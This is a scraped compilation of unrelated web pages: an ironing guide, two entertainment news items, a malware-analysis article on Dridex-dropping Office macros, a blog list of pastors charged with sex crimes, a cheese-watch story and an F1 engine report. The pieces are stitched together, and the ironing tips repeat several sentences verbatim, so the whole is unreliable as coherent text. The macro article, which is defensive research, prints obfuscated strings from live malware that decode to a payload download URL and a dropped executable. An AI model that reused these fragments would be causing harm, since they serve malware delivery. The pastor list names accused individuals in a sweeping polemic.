I can’t count the number of times I’ve seen a man who’s wearing what would be a very dapper get-up….except it’s ruined by wrinkly clothes. I see this especially with young, single professional men who probably don’t have mom or a wife to iron their clothes for them and never learned this basic life skill for themselves. The fact is a lot of grown men don’t know how to iron a shirt. It’s nothing to be ashamed of if you don’t know how. Growing up, dear old mom probably ironed your dress shirts whenever you needed one and now your wife does this chore. But a man needs to be self-sufficient. He shouldn’t have to rely on somebody else to ensure that he looks presentable. He’s in charge of that. If an unexpected interview or date comes up, a man knows how to get ready and out the door looking like a million bucks. Details matter when it comes to your appearance and making a good first impression. Wrinkles draw the eye of those you meet and make you look sloppy and out-of-sorts. Having well-pressed clothing shows the world that you’re a man of discipline and order, a man who has his stuff together and understands that the details matter. And a crisp shirt really pulls together a handsome outfit. Throw on a well-ironed shirt, and you get a bit of confident pep in your step; it just feels good. Ironing isn’t hard when you get the hang of it. You can get a shirt done in less than 5 minutes. And boom–you’re ready to take on the world. Today we’re going to give you the ins and outs of fast, effective ironing. If you don’t really know how to iron a dress shirt, here’s your primer. And if you’re already pretty adept at this chore, you’ll probably find some great tips you never thought of before. So let’s get started by talking about the tools of the trade. The 6 Tools of Effective Ironing Tool #1: The Iron How do you identify a quality iron? A well built soleplate – To play on words, this is the soul of the iron. You want something that is solid, smooth, and clean if buying used. You’ll find soleplates made from solid steel, titanium coated, and cast iron with aluminum, to name three solid options. Avoid new irons under $20, as this is where low cost manufacturers most often skimp on the product to keeps costs low. A poor quality soleplate will not clean well and may have uneven heat distribution–which leads to shirts being damaged. High heat capability – Most consumer irons range in power consumption from 420 watts (small travel irons) to 1800 watts (higher end models above $100). The power consumption plays into the amount of heat produced by the iron, although there isn’t always a direct relationship as the size of the soleplate needing to be heated factors in as well. But generally speaking, a 1800 watt iron is going to be hotter than a 1200 watt one, and it will heat up faster. Why the need for heat? Certain fabrics, cotton and linen being two of them, require high heat to reform their shape. A hotter iron can cut ironing time in half, vs. one that forces you to pass and remain on the same part of the garment for 45 seconds. Also, steam production relies on the soleplate’s temperature and higher temps produce steadier steam. Steam delivery system – You want steam as it breathes life into fabrics and the hot moisture enables the toughest wrinkles to smooth out with minimal work by more evenly distributing the heat through the garment fibers. Steam irons under $20 often have their steam component built in as an afterthought and sputter and spit out water when you don’t want it. Higher end models have 300+ holes that deliver a clean, uniform mist. Depending on your needs you’ll want the best steam delivery system you can budget. Why? A good steam iron can be used indirectly on wools and other more delicate fabrics and save you thousands a year in pressing and dry cleaning costs in addition to what I mentioned above. Size and Weight – Size and weight do become issues for those who deal with arthritis or are sensitive to weight differences of a few pounds. Thus expensive irons made from lightweight space-age materials are not necessarily better because they cost more–they simply are being made for a different customer. So don’t always equate price with quality. Special Note – Travel Irons For the sharp dressed road warrior a travel iron is a wise investment. Although hotels normally have an iron and board available for guest use, this isn’t always the case, especially at hotels that are either budget or are trying to encourage use of their expensive in-house cleaning services. Having your own iron enables you to use a device you’re familiar with and prepare your clothing on your schedule as you see fit. No ironing board? Grab a towel and throw it on a flat surface–it will do the job. Personally I recommend Steamfast’s compact travel iron. It is incredibly small, lightweight, hot, produces an decent amount of steam, and is value priced. However what impressed me most was the great customer service I recently received from this American business. I was having mechanical problems (or so I thought–turns out I didn’t know how to use it properly) and thought it was going to be a hassle to exchange it as I had waited 8 months to report the problem. Instead, I spoke with a very nice customer service rep who resolved my issue and within minutes shipped me a new one–no questions asked. You have to love that! Tool # 2: The Ironing Board You need something that’s sturdy and has a top that you’re comfortable ironing on. I advise you see what’s available for free as many people have an old one lying around–and then spend the money on a nice cover and pad. You can also put a piece of aluminum foil under the ironing board cover–the idea here is to reflect the iron’s heat back on itself so you’re actually ironing from both sides at once. Be careful though as it will increase the speed in which you can burn the clothing. Tool #3: Spray Bottle Do not re-use a container that housed a cleaning agent. You’ll use this spray bottle to disperse water evenly over your shirt before ironing in the case your iron is not equipped with a steam function or when you’re ironing in bulk (as I will show you). It’s also handy for when you’re ironing a wrinkle–give the spot a spray and then iron out the wrinkle seconds later. Tool #4: Water You want to use water free of small dirt and high concentrations of calcium and magnesium, both common in hard water. Long term use can lead to iron damage and leave marks on dress shirt fabrics that are hard to remove. However, you do not need to use distilled water as some mineral presence is good as it acts as a wetting agent and helps water better vaporize when it contacts the soleplate. Drinking water is perfect for most irons. Tool #5: A Light-Colored Cotton Towel A towel can be used as a ironing board pad, rolled and used inside sleeves as a makeshift sleeve-board, or simply to clean up excess water sprayed on the shirt. Tool #6: Spray Starch (Optional) I remember in the Marines using cans of spray starch in an effort to get the perfect “crisp” look; however, just as often I would overdue it and be dealing with flakes due to over starching or not letting it set in. To use starch, understand it is best used in moderation and with a temperature setting of 6 or below (the highest setting can cause flaking). Too much and you can make a normally breathable cotton shirt feel like a synthetic plastic bag and cause more wrinkles when worn! FYI – a man can make his own starch spray by dissolving one tablespoon of cornstarch in two cups water. Using a spray bottle (preferably not the water one–clearly mark it “spray starch”) you can then LIGHTLY mist the fabric a minute before ironing. How to Iron a Shirt For these instructions I assume you are ironing a batch of five (5) 100% cotton dress shirts with an iron setting of five to six (depending on your iron). If you’re seeking a super crisp look, you’ll want to first turn the shirt inside out and iron the inside and then iron the outside of the shirt. This will add another two minutes onto the process, but will give you better results, especially on thicker cotton fabrics. If you use the aluminum foil trick though, you can skip this. Preparation – Read the shirt’s label. Really, you need to understand what type of fabric the shirt is made from before ironing it or you could possibly destroy it. Most shirts are made from cotton or cotton blends and can withstand high temps, although polyester shirt fabrics are more fragile to heat. If you’re unsure, start with a low setting such as 3 and then move up until the shirt starts to respond to the iron’s heat. Note: Silk and wool shirts are not covered here. Although it is possible to clean them yourself, you need to know what you’re doing. You want the shirts to be moist (not soaking wet). This will enable you to dry iron without having to worry about your iron’s steam function. Ideally you have recently pulled the shirts from the washing machine; if they are already dry, however, just take them and thoroughly mist them with the spray bottle. Once finished, place them in a plastic bag to better diffuse the moisture and prevent evaporation. Next set up the ironing board near a power outlet that is close to the closet where you’ll be hanging everything immediately after ironing. Ensure the iron has water in it and then plug it in, set to the lowest heat setting you’ll need. Store all of your ironing equipment together, that way you’re never looking for anything when you need it quickly. Within 5 minutes the iron should be ready and all the shirts moistened. Pull the lightest weight shirt from the bag first, making sure it is evenly wet. If not, spray on a bit more water. 1. Iron the Collar First Always start by ironing your dress shirt collar. This is the most visible part of a shirt as it frames the face, especially when worn with a suit or sport jacket. In a pinch and when wearing a jacket, you can get away with ironing only your collar, the front area right below it, and your cuffs. Just don’t take off your jacket! To iron the shirt collar, pop it up and start with the underside, slowly pressing the iron from one point to the other. Ensure that it is thoroughly moist before starting, and if any wrinkles appear, press them to the bottom where they’ll be less visible. Next, flip the shirt over and repeat this process on the outside of the collar. 2. Next Iron the Cuffs As mentioned above, I iron the cuffs next as they receive a lot of attention when worn properly with a jacket. To iron a shirt cuff, first unbutton it (to include the gauntlet button) and lay it out flat. First iron the inside of the cuff, and next the outside, moving all wrinkles from uneven fabric to the edges. Carefully iron around the buttons, and even on the backside. Never iron over buttons (unless you place them over a towel or something with give) as they can leave a mark. For French cuffs, open them fully and iron as above. I recommend you not press the edges of a French cuff–it steals the life and body from a smooth fold. 3. Ironing the Shirt Front Start with the side that has buttons and carefully work the iron point around the button area (never over the buttons). Then move back up to the top of the shoulder and work your way down the shirt with the iron. Repeat on the other side, and if you have a placket, press the material under it with the iron point and then over the top. It’s worth spending a bit more time on the front placket and areas near the collar as they receive a high percentage of visual attention. 4. Iron the Back of the Shirt Laying the shirt flat on the board, I like to position one of the sleeve heads into the square edge of the ironing board. You then have half the back in prime position to be ironed, and only need to slide the shirt over to complete the other half. Start at the top with the yoke (back shoulder area) and slowly slide the iron down. If you have a center box pleat, you’ll have to spend a few seconds ironing around it–I prefer not to iron back in the pleat, as the time required for an area you don’t want to highlight isn’t worth the effort. 5. Iron the Sleeves I choose to iron sleeves last as of all the parts of the shirt, they can be ironed in the widest variety of ways and for most men are the trickiest part of the shirt. Problems arise from the fact that unless you have a sleeve board, you’ll be ironing two layers of fabric. Thus the key to ironing sleeves is to be sure the fabric is flat and smooth BEFORE you apply the iron. Take either sleeve by the seam and lay the whole sleeve (and most of the shirt) flat on the ironing board. If you can see the creases on the top of the sleeve from previous ironing, match it again so that you have a single crease line. Start ironing at the top where the sleeve is sewn onto the shirt and work your way down to the cuff. Turn the sleeve over and iron, then repeat the process with the other sleeve. If you don’t have a sleeve board and would rather your shirt sleeve not have a crease, insert a rolled-up towel into the sleeve. This will allow you to iron it without leaving a crease mark. 6. Inspect & Hang Inspect the shirt and spot iron where necessary. Finally, place the shirt on a hanger and in your closet. Three Warnings If you are not sure of the shirt’s fiber type, err on the side of caution and iron it with a lower setting. You can always increase the temperature…but you cannot fix heat damaged fabric. Iron around buttons, never over them. Even if there is fabric laying over the button, as in the case of a pocket with under-buttons or a dress shirt with a hidden button down collar. You can create a permanent impression that will ruin the look of the shirt. Be sure to remove shirt stays as well. Never iron a dirty shirt–you’ll set the stains, and it will be very difficult if not impossible to remove them. Clean Your Iron’s Water Reservoirs If you use tap water in your iron, you’ll eventually have a build-up of mineral deposits. This will be most noticeable when your steam output comes to a crawl. To clean the reservoir, pour a solution of 1 part water, 1 part white vinegar into the water reservoir. Heat the iron normally and let it steam for a few minutes before unplugging and placing it soleplate down on a heat resistant dish that has room for the draining water. An hour later drain and repeat with water–repeat the process if needs be. Finally, rinse and refill with bottled drinking water or non-hard tap water. Final Quick Ironing Tips If you’re looking for supplies and want quality equipment that will last decades, shop where your tailors and dry cleaners shop. North Carolina’s B&G Lieberman is a great supplier of all things tailor or cleaner-related; I called them just the other day, and their 86 year old founder still answers the phone! You’ll find anything from quality buttons to suit brushes to industrial strength steam irons through them. North Carolina’s B&G Lieberman is a great supplier of all things tailor or cleaner-related; I called them just the other day, and their 86 year old founder still answers the phone! You’ll find anything from quality buttons to suit brushes to industrial strength steam irons through them. Iron your shirts in batches. Ironing a shirt only takes a few minutes, but half of that time is taken up with preparation–getting the ironing board set up, the iron filled and hot, etc. So use your time more effectively by ironing all your shirts in one batch instead of whenever you need one. Ironing a shirt only takes a few minutes, but half of that time is taken up with preparation–getting the ironing board set up, the iron filled and hot, etc. So use your time more effectively by ironing all your shirts in one batch instead of whenever you need one. If you’re ironing a large number of shirts or other articles of clothing, start with the garments needing the lowest temperature. Then move to the garments (cotton and linens) that require the highest temperatures. The reasoning is that it takes an iron longer to cool off than heat up, and it decreases the likelihood of damage to your clothing. Then move to the garments (cotton and linens) that require the highest temperatures. The reasoning is that it takes an iron longer to cool off than heat up, and it decreases the likelihood of damage to your clothing. If you dry your shirts in a clothing dryer, pull them out before they are fully dry. Better yet, don’t even place them in a dryer and instead put them on a wood hanger and iron them right out from the washing machine. No need to moisten or use any steam. Better yet, don’t even place them in a dryer and instead put them on a wood hanger and iron them right out from the washing machine. No need to moisten or use any steam. If you literally have no time to iron then at least throw the shirt in the dryer (assuming you’ve dried it like this before) while you throw on the rest of your clothing. Five minutes tumbling in the warm air will help to loosen some of the worst wrinkles. (assuming you’ve dried it like this before) while you throw on the rest of your clothing. Five minutes tumbling in the warm air will help to loosen some of the worst wrinkles. If you’re going to pack your dress shirts for a week’s worth of travel, don’t waste your time ironing the shirts beforehand. Pack them normally and allot 15 minutes upon arrival to iron them when you arrive in your hotel room. Pack them normally and allot 15 minutes upon arrival to iron them when you arrive in your hotel room. Anytime you are using a questionable iron that may leave marks, turn the shirt inside out and iron the backside only. It won’t give the shirt as crisp a look, but the difference is negligible and any marks will be invisible once the shirt is turned back out correctly. It won’t give the shirt as crisp a look, but the difference is negligible and any marks will be invisible once the shirt is turned back out correctly. Pay attention to the condition of the ironing board cover and pad – if it looks like it could leave any type of mark or you can feel metal underneath, cover it with a cotton towel or look for another board. – if it looks like it could leave any type of mark or you can feel metal underneath, cover it with a cotton towel or look for another board. Make sure your iron has an auto-shutoff. Although most modern household irons do, some of the older models floating around do not. You want the peace of mind knowing that even if you forgot to turn off the iron this morning you’re not going to start a fire. Although most modern household irons do, some of the older models floating around do not. You want the peace of mind knowing that even if you forgot to turn off the iron this morning you’re not going to start a fire. To produce steam, make sure you are using the iron at its highest setting . If you are using it at anything below the middle setting, water will often drip or trail. If you need to iron on low and need moisture, this is where the spray bottle really comes in handy. If you don’t need moisture, make sure to set the adjustable steam to “off” and don’t press the steam blast button. . If you are using it at anything below the middle setting, water will often drip or trail. If you need to iron on low and need moisture, this is where the spray bottle really comes in handy. If you don’t need moisture, make sure to set the adjustable steam to “off” and don’t press the steam blast button. Always empty the water from your iron while the iron is hot. This will reduce the moisture that remains in the water compartment. Doing this will also ensure you unplug the iron before leaving the house. Watch the Video Written by Antonio Centeno President, A Tailored Suit Custom Clothier Founder, Real Men Real Style Tags: how to choose an iron |
Amazon Studios has debuted, via The Huffington Post, a teaser poster for the upcoming “Zombieland” pilot. Check it out below alongside a previously-released cast photo. “Zombieland” is based on the hit Columbia Pictures movie of the same name, and finds four survivors outwitting zombies and searching for a place to call home. The “Zombieland” pilot comes from the feature film’s original creative team, writers Rhett Reese and Paul Wernick (G.I. Joe: Retaliation, “The Joe Schmo Show”), and producer Gavin Polone (“Gilmore Girls,” “Curb Your Enthusiasm”). Eli Craig (Tucker and Dale vs. Evil) is directing the pilot. The part of Tallahassee will be played by Kirk Ward (The Island), Maiara Walsh (“Desperate Housewives,” “Switched at Birth”) is cast as Wichita, Tyler Ross (Milkshake) will play Columbus, and Izabela Vidovic has the role of Little Rock. “Zombieland” is the seventh comedy pilot added to Amazon’s pilot line-up, will be made available (along with the other six comedy pilots and six children’s pilots) for free on Amazon Instant Video and LOVEFiLM UK. Customers are invited to view the pilots and then review them on the site; customer feedback will help determine which of the 13 pilots Amazon Studios will make into full-season productions, to air on Prime Instant Video. |
We have quite a bit of good stuff to discuss for our Friday edition of our “American Idol” notes, including some news that is all about new albums in some shape or form. Before we dive into that, let’s start with something that is coming a little out of left field: Adam Lambert getting an endorsement for a Chinese video game! We don’t really know much about the game outside of the fact that it is called “Rift: Planes of Telara,” but the significance of this commercial almost matters more than the game itself. Traditionally the only Americans to ever get endorsements of any kind in China are the biggest of the big, and this puts the singer in pretty rarified air. Not only that, but there is a reason that the likes of Leonardo DiCaprio and other A-listers do ads in Asia: they get paid a ridiculously large amount of money for it, given that China alone has over a billion potential customers. It’s hard to really think about that sort of audience living in America, but it’s huge, and this is why we see many basketball players signing with Chinese shoe companies. Just from a business perspective alone Adam, well done. Album news – Now, let’s turn specifically to a pair of albums. According to HITS Daily Double, Jessica Sanchez will be releasing her debut album on May 7, which is a pretty surprising release date for an “American Idol” runner-up. Typically May is not the best music month, but Carrie Underwood did have some success here last year with “Blown Away.” Plus, Jessica will have some nice cross-promotion opportunities here in between “Glee” and the Fox singing competition itself. As for David Archuleta, his “No Matter How Far” album is going to be released on March 26. David is out on a Mormon mission, and these tracks were all recording over a year ago but are new to American audiences. Check out the full listing below. 1. Nothing Else Better To Do 2. Everything and More 3. Don’t Run Away 4. Tell Me 5. Love Don’t Hate 6. Wait 7. Heart Falls Out 8. Notice Me 9. I’ll Never Go 10. Forevermore Personally, we’re rather excited to see “Forevermore” getting an American release, as it was one of our favorites from David’s OPM release in the Philippines. — If you want to see our full review of Thursday’s “American Idol” episode (featuring the reveal of the top 20), be sure to head on over to the link here. Photo: RCA Press / Lee Cherry Love TV? Be sure to like CarterMatt on Facebook for more updates! |
Deobfuscating Malicious Macros Using Python Over the past few weeks, we've observed cybercriminals spamming users, particularly in the UK, using document files embedded with malicious macros masquerading as invoices. The attachment is either a Word or an Excel document file. Here are some examples incorporating brands based in the UK: Users must enable macros in order for these malicious documents to work. In some cases, the documents include instructions for enabling macros. You may think of document macro viruses as a thing of the past. But this year, some cybercriminal groups have revived this type of campaign in large numbers. The volume of document-macro based spam we've observed in the past couple of months Common themes in the campaigns include invoices from software companies, online retailers, banking institutions and shipping companies. The message usually claims to be an invoice in Word or Excel file format. Here are the most common subject lines from the past few months: Common subject line themes The payload downloads a banking Trojan known as Dridex from a remote webserver. Our friends from Cyren have posted a detailed and technical analysis of this Trojan here. Deobfuscating the Macros For the curious, here are some tips on how to extract the VBA macro from the document files and unmask the payload using Python. I used a tool written by Didier Stevens called oledump.py to extract the macros without using any Microsoft Office application. I modified the tool so that it automatically dumps the code when a macro stream is found in the document using the option –m. Get the modified oledump.py here. The macros in these documents are usually obfuscated, full of garbage code, and the payload is pretty much hidden. I've posted the extracted macros here in Pastebin for you to check: The key macro that triggers the payload is the function "AutoOpen()". This is a built-in macro function that triggers when the document file is opened. The cybercriminals have obfuscated the strings such as the drop folder, malware filename, and URL download link. One of the techniques they commonly use is "Text to hexadecimal" obfuscation, where a string like "http:" is converted to its hexadecimal string equivalent: "687474703A" Below is an example of an obfuscated string of the malware URL NMVBUIMOQXM fdhdfgdfvdfv("687474703A2F2F37382E3132392E3135332E32332F73737461742F6C6C6476732E706870"), Environ(fdhdfgdfvdfv("54454D50")) & fdhdfgdfvdfv("5C564D5559585759534658512E657865") And below is the function fdhdfgdfvdfvafter removing the garbage and renaming variables to readable names. It just basically converts Hexadecimal to its equivalent text. Public Function Hextostring(ByVal HexString As String) As String Dim TemporaryStorage As String Dim FormedString As String Dim HexStringLength As Long For HexStringLength = 1 To Len(HexString) Step 2 TemporaryStorage = Chr$(Val(Chr$(38) & Chr$(72) & Mid$( HexString, HexStringLength, 2))) FormedString = FormedString & TemporaryStorage Hextostring = FormedString End Function Using Python, the encoded strings can be easily decoded using the binascii.a2b_hex function: This particular group also adds another layer of obfuscation by reversing the hexadecimal strings. The malware author used the function StrReverse which is a built-in VBA function to reverse a given string. HexToString(StrReverse("568756E2E69626F237A6F22766E247E6F62656E6E65686D25696275736F2F2A307474786")), Environ(HexToString(StrReverse("05D45445"))) & HexToString(StrReverse("568756E2F4A435C45594A415858554C5")) In Python, we can reverse string by using slice notation, for example "string"[::-1]. Slice notation is explained here: Another known obfuscation technique is XOR-ing the string with a predefined key. The example below is an obfuscation of a URL link to the malware executable: gGHBkj = XORI(Hextostring("1C3B2404757F5B2826593D3F00277E102A7F1E3C7F16263E5A2A2811"), Hextostring("744F50")) In the example, 1C3B2404757F5B2826593D3F00277E102A7F1E3C7F16263E5A2A2811 is the obfuscated URL and 744F50 is the key. The macro function XORI takes 2 parameter strings--the encoded message and the key. It then returns the XORed value of the given strings. This is the XORI VBA function after it has been cleaned up: Public Function XORI(ByVal Encoded_message As String, ByVal Msg_Key As String) As String Dim Message_length As Long For Message_length = 1 To Len(Encoded_message) XORI = XORI & Chr(Asc(Mid(Msg_Key, IIf(Message_length Mod Len(Msg_Key) <> 0, Message_length Mod Len(Msg_Key), Len(Msg_Key)), 1)) Xor Asc(Mid(Encoded_message, Message_length, 1))) End Function In Python, we write the XORI function like this: def XORI(enc_message,key): dec_message = "" for i in range(len(enc_message)): dec_message = dec_message + chr(ord(enc_message[i])^ord(key[(lambda x,y:x%y if x%y >=0 else y)(i,len(key))])) return dec_message And after using the a2b_hex Python function to convert hex to string, we can use the XORI function in Python to decode the obfuscated URL: These are the common obfuscation technique we have observed so far with these documents. Usually the payload consists of downloading an executable Trojan from a URL, saving it to the Windows temporary "temp" folder and executing it. Wrapping up Macro viruses may have been out of fashion for many years, but we've recently observed a resurgence in cybercriminals using this kind of infection vector to spread their malware. The bad guys try to obfuscate their code to prevent us security researchers and malware tinkerers from analyzing their malware. But really, they're just making malware analysis more fun with the added challenge of cracking code obfuscations. The Trustwave Secure Email Gateway (SEG) protects against spam campaigns involving malicious macros. |
Posted by Horus Gilgamesh on Jun 5, 2014 in GET INVOLVED | 25 MORE PASTORS ARRESTED – MAY 2014 : This is a serious problem that very few people are willing to discuss out of fear, guilt, or… denial. While it is easy to point an accusing finger at the Catholic Church for decades of covered up child abuse, it appears to be far too easy to ignore the fact that the problem of coercive sex crimes are just as, if not more prevalent among Protestant churches in America today. Of course, we don’t hear about them in the national news because they aren’t inter-connected to a massive worldwide organization like the Vatican. However, isn’t the scariest part that these crimes go on right in front of our nose while nobody really talks about it simply because Protestant pastors don’t wear “funny robes”? Much like their Catholic counterparts, Protestant pastors and ministers are trusted with children who have been taught to obey the authority of their church leaders. After the Vatican’s recent “discipline” of pedophile priests, I decided to do a quick Google search for some local cases involving Protestant pastors – those that might have actually been reported and made local news. This is not an opportunistic attempt to slander Christian pastors by stringing together random cases compiled over the decades – these are all stories that hit the local news in May 2014 alone. Likewise, these are not random cases of “everyday Christians” getting arrested for “everyday crimes” such as theft or drunk driving. These are a few of the reported cases of Christian leaders taking advantage of their positions of perceived power – from the month of May alone! (I couldn’t bring myself to continue browsing…) rape, sodomy, and incest of a nine year old forcing “morning after” pill after raping teens sexual abuse of mentally handicapped in custody producing and distributing child pornography installing hidden cameras in church bathrooms father/son pastors tag-teaming member of youth group drugs, sex, and yes – a dead body This is just a small list of some of the crimes (that were actually reported to authorities AND the media) in the MONTH OF MAY ALONE. Out of the shockingly long list at the link below, only ONE of the perpetrators was Catholic. The rest? Your average Protestant pastor that nobody would have ever suspected. That is 24-to-1, folks! And, before you play the, “But that’s because the Catholics cover it up” card – think about just how much turmoil a Protestant pastor, church, family, and community would have to knowingly go through in order in the event of public charges being filed. Just like the crimes themselves, coverups are not just a Catholic problem. QUESTION: Why isn’t there any massive national media outrage at these crimes in ONE MONTH? Oh, that’s right – because it’s never good for ratings (aka ad revenues) to go be seen as attacking Christianity as a whole. Many might see these crimes as being random and unrelated. I do not. – BEWARE – Billy Howard Guy: Pastor charged with six counts of sexual crimes including molesting mentally-disabled woman in his care http://www.wsoctv.com/news/news/local/ashe-co-pastor-accused-sex-offense-person-his-care/nfsJ4/ Tyrone Banks: Minister charged with rape and sodomy of 13 year-old (more victims coming forward) http://www.myfoxal.com/story/25431240/pleasant-grove-man-58-charged-with-raping-13-year-old-girl Joseph Hall: Pastor charged with 14 counts of sex crimes against kids as young as 12 years old http://www.wsoctv.com/news/news/local/dallas-minister-accused-sex-crimes-including-rape-/nf9N3/ Trevon Boone: 39-year old minister arrested for rape of a minor http://wtkr.com/2014/05/28/local-minister-charged-with-rape-turns-himself-in/ Larry Michael Berkley: Pastor charged 16 counts of sexual assault, drugs, and, yes – a dead body… http://wreg.com/2014/05/06/shocking-allegations-against-former-pastor-of-churches-in-harrison-ar-and-henning-tn/ Jerome Anthony Clay: Pastor charged with raping a minor, under the age of 16 (prior record for domestic abuse) http://abc7.com/archive/9466369/ Paul Endrei: Senior pastor charged with two counts of sexual battery and gross sexual imposition http://www.cleveland.com/westlake/index.ssf/2014/05/westlake_pastor_accused_of_sex.html Jordan Endrei: Pastor joins father in charges of sexual battery http://fox8.com/2014/06/05/second-pastor-at-westlake-church-charged/ Damien Bonner: Pastor arrested for rape of a minor (who he forced to take “morning-after” pill after unprotected sex) http://www.tulsaworld.com/news/crimewatch/affidavit-tulsa-pastor-charged-with-lewd-molestation-gave-victim-pill/article_bb06eaeb-0950-5fd6-b204-7f256a373d11.html Second victim comes forward: http://www.kjrh.com/news/local-news/7th-molestation-complaint-filed-against-tulsa-pastor-damien-bonner-after-2nd-victim-alleges-abuse Allen Lehman: Minister and teacher charged with seven counts of rape and sodomy with victims younger than 12 http://www.nwitimes.com/news/local/porter/valparaiso/valpo-substitute-teacher-former-m-ville-pastor-charged-with-sex/article_5de1c16e-aa2a-5dfd-9f73-bcd04009a2b6.html Hector Caria: Pastor arrested for rape of teenage girl http://sacramento.cbslocal.com/2014/05/10/davis-priest-arrested-on-sexual-abuse-charges/ Jeremy Grinnell: Pastor, seminary professor arrested for climbing ladder to watch neighbors have sex. Twice. http://www.mlive.com/news/grand-rapids/index.ssf/2014/05/peeping_pastor_and_professor_p_1.html Chris Allen Phillips: Youth pastor embezzles $90,000 from church to cover-up prostitution problems http://www.nydailynews.com/news/crime/extortionist-threatened-expose-youth-pastor-sexual-tryst-sentenced-jail-article-1.1783152 Donald Lafferty: Pastor hires couple to kill his wife, burn house with her inside (not sex with minors, but – certainly interesting) http://www.semissourian.com/story/2087038.html Forest Gibson: Youth pastor charged with sexual abuse of a minor http://www.idahopress.com/news/local/local-church-youth-leader-arrested-for-sex-abuse/article_a6d34c7c-d7ff-11e3-8eaf-0019bb2963f4.html Robert Lyzenga: Pastor arrested for planting cameras in girls restrooms at church http://www.indystar.com/story/news/crime/2014/05/16/ex-pastor-admits-planting-restroom-video-cameras/9165929/ Roy Hariger: Pastor charged with multiple counts of rape and incest http://wivb.com/2014/06/02/pastor-accused-of-sexually-abusing-children-facing-new-charges/ Travis Ray Smith: New trial set for pastor charged with multiple accounts of rape and sexual assault http://www.lakenewsonline.com/article/20140521/News/140529664 Dennis Myers: Youth minister sentenced to 30 years in child porn, rape, sodomy or children http://www.kansascity.com/news/local/crime/article360359/Former-Independence-youth-minister-sentenced-to-30-years-in-child-porn-sex-case.html William R. Best Jr. : Pastor charged with sodomy, rape, and incest http://www.selmatimesjournal.com/2014/05/21/241943/ Robert Stoner: Youth minister admits to multiple rapes 15 year-old girl from youth group http://www.delawareonline.com/story/news/crime/2014/05/31/prison-time-ex-youth-minister/9816561/ Joel David Bolay: Pastor charged with sexual abuse, lewd acts with minors in child pornography case http://newsok.com/church-youth-leader-charged-with-distributing-child-porn-lewd-acts/article/4746804 Scott Sechrist: Pastor charged with multiple rapes of 9 year-old girl over three years http://www.dailymail.co.uk/news/article-2628239/Pastor-kills-one-week-trial-sexual-abuse-nine-year-old-girl-start.html Scott Barber: Church leader admits to rape of 13 year-old girl http://newsok.com/nichols-hills-church-administrator-jailed-on-child-rape-complaint/article/4864597 Richard Mick: Pastor charged with raping two 8 year-old girls (and fondling boy) http://www.sanduskyregister.com/article/sexual-assault/5642011 While it is easy to be outraged by Catholic coverups, I will admit – I am more worried about the Protestant with just as much ability to skip town and even less accountability from any governing body. Is it really that difficult to imagine how many of these crimes are never reported to begin with out of not wanting to harm reputations, the church, or the community? It’s one thing to accuse the mysterious lonely man in the funny black robes that disappears behind the curtain at the end of mass. It’s quite another to accuse the man wearing khakis and button-ups. The man who is much more directly involved in the daily lives of all families within the church and is coming over for dinner tomorrow. The man whose wife leads the women’s group and works at the local bank. The man whose kids go to school with the victims. The man who is seen as a respected community leader with perceived authority over their flocks. To a nine, twelve, or sixteen year old – these men ARE God. My parting (terrifying) thought: These are just the cases where the victim had the courage and family support to come forward publicly to accuse their attackers – even in their positions of power and authority within the church and community. Police and prosecutors know that most of these crimes go unreported – especially within the church. How many more victims suffer in silence every day? If I were still a praying man, I would be praying that the poor victims of these monsters are able to get the best counseling available OUTSIDE the typical “Christian Counseling” found within the church. “God works in mysterious ways”? “Forgive and forget”? Tell that to a nine year-old victim of rape, sodomy, and incest… – PLEASE SHARE THIS IMAGE – It might help a victim or family in you area have the courage to come forward to put an end to unspeakable abuse that may be hidden right before your very eyes. Obligatory disclaimer #1: Yes, of course – they are all innocent until proven guilty. I’m sure it was all just a misunderstanding. Obligatory disclaimer #2: “They are obviously not real Christians!” Says who? Were they not trusted “real Christian leaders” the day before they got arrested? Wake up! Don’t even get me started on fraud, corruption, and other crimes of Christian leaders… |
Read Story Transcript It doesn't smell, it won't melt and you can't eat it. But, for a price, you can own a timepiece being billed as "the most Swiss watch ever." That's thanks to its most distinctive ingredient: Swiss cheese. It's not just a luxury novelty item. It's an act of protest against new rules in Switzerland governing the use of the "Swiss made" label. According to the rules, Swiss-made components must account for 60 per cent of the value of the watch, but watchmaker H. Moser & Cie. says those rules are open to abuse. "We decided to use the most precious material that we have here in Switzerland," Edouard Meylan, CEO of H. Moser & Cie., told As It Happens guest host Helen Mann in an interview. "So we used cheese to create the case of the watch and we have a leather band using cow skin." The result, Meylan said, is a watch that is 100 per cent Swiss. Swiss watchmaker Edouard Meylan (Courtesy of H. Moser & Cie. ) The cheese in question is Vacherin Mont d'Or médaille d'or, made in the village where Meylan grew up. The cheese was blended with a polymer compound to keep it from spoiling and is also pasteurized. "Obviously, we don't want it to stink," Meylan said. Meylan, who is the fifth generation in a family of watchmakers, says the new labelling rules mean many manufacturers actually assemble their watches in Asia, using only a few Swiss parts — meaning the watches aren't really "Swiss made" at all. "We feel this is not good enough, considering the tradition we have here in Switzerland, the craftsmanship, the people that work on those products," he said. (H. Moser & Cie.) Meylan added that, while the "Swiss made" label may carry cachet abroad, "actually there's nobody to control it here in Switzerland, so people are abusing it." That's why the watch is made from cheese and not chocolate: because despite the reputation of Swiss chocolate, cocoa beans, as Meylan pointed out, aren't grown in Switzerland. Proceeds from the sale of the watch will go to support independent Swiss watch suppliers "who suffer nowadays from many brands producing abroad," Meylan said. The auction closes on Friday. |
New 1.6-litre V6 turbo engines will be introduced in 2014 © Mercedes Enlarge FOTA chairman and McLaren boss Martin Whitmarsh has urged Formula One bosses to put the good of the sport ahead of their team's interests in 2014 and work together in the new turbo era to ensure a reasonably level playing field for engine performance. The process of levelling the performance among the manufacturers - Ferrari, Renault and Mercedes (plus Honda in 2015) - will be conducted alongside a staged freeze of power unit technology from 2014 to 2020. Since 2007 Formula One has been operating under 'frozen' engine specifications to keep costs down, and while there is a similar plan for the V6 turbos and their Energy Recovery Systems, getting to a point where the relative competitiveness of engines is as close as it is now could be contentious. The stages of the freeze are mapped out in the 2014 regulations, with certain parts of the engine set from 2014, 8% of the power unit frozen by 2015, 23% by 2016, 35% by 2018 and 95% by 2019. "There will be a phased homologation [of the engines]," Whitmarsh explained. "So there will be certain things that you can't change from the outset and then at the end of the first year there will be more things you can change than in the second year, it's a sort of phasing towards homologation." However, the relative freedom engine suppliers have been given in their approach to the new formula - a conscious decision by F1 to try to encourage new players such as Honda into the sport - means there could be obvious discrepancies in performance from the outset. Moreover, engine performance will no longer be biased towards pure horsepower as fuel efficiency is set to take a much larger role in the equation, with a 35% cut in the amount of fuel used during a race. An image of the Renault V6 turbo released earlier this year © 